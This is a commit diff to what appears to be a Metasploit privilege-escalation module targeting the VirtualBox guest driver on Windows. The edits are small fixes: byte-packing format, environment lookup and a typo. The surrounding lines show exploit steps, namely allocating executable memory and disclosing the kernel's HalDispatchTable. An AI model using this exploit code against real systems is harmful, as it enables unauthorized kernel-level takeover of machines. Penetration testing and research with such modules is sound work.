@@ -64,7 +64,7 @@ def initialize(info={})
64
64
65
65
def fill_memory ( proc , address , length , content )
66
66
67
- session . railgun . ntdll . NtAllocateVirtualMemory ( -1 , [ address ] . pack ( "L" ) , nil , [ length ] . pack ( "L" ) , "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN" , "PAGE_EXECUTE_READWRITE" )
67
+ session . railgun . ntdll . NtAllocateVirtualMemory ( -1 , [ address ] . pack ( 'V' ) , nil , [ length ] . pack ( 'V' ) , "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN" , "PAGE_EXECUTE_READWRITE" )
68
68
69
69
if not proc . memory . writable? ( address )
70
70
vprint_error ( "Failed to allocate memory" )
@@ -101,7 +101,7 @@ def check
101
101
return Exploit ::CheckCode ::Safe
102
102
end
103
103
104
- file_path = expand_path ( "%windir%" ) << "\\ system32\\ drivers\\ vboxguest.sys"
104
+ file_path = get_env ( 'WINDIR' ) << "\\ system32\\ drivers\\ vboxguest.sys"
105
105
unless file? ( file_path )
106
106
return Exploit ::CheckCode ::Unknown
107
107
end
@@ -151,7 +151,7 @@ def exploit
151
151
hal_dispatch_table = find_haldispatchtable
152
152
if hal_dispatch_table . nil?
153
153
session . railgun . kernel32 . CloseHandle ( handle )
154
- fail_with ( Failure ::Unknown , "Filed to disclose HalDispatchTable" )
154
+ fail_with ( Failure ::Unknown , "Failed to disclose HalDispatchTable" )
155
155
else
156
156
print_good ( "Address successfully disclosed." )
157
157
end
0 commit comments